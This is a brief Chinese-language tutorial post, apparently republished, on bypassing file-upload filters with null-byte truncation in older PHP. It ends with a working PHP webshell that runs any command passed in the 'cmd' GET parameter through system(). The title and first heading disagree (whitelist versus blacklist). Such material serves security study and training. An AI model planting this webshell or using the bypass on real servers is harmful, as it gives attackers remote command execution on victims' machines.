文件上傳-繞過白名單驗證


繞過黑名單驗證(00截斷繞過)
00截斷原理
0x00是十六進制表示方法,是ascii碼為0的字符,在有些函數處理時,會把這個字符當做結束符。
系統在對文件名的讀取時,如果遇到0x00,就會認為讀取已結束。
在PHP5.3之后的版本中完全修復了00截斷。並且00截斷受限於GPC,addslashes函數。
GET型00截斷
GET型提交的內容會被自動進行URL解碼。
注意:一定要關閉GPC,否則無法成功。


POST型00截斷
在POST請求中,%00不會被自動解碼,需要在16進制中進行修改00

一句話代碼執行webshell
使用php中的函數system執行GET提交的參數。

<?php
if($_GET){
$cmd = $_GET["cmd"];
system($cmd);
}else{
echo "no cmd";
}
?>
1
2
3
4
5
6
7
8

--------------------


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM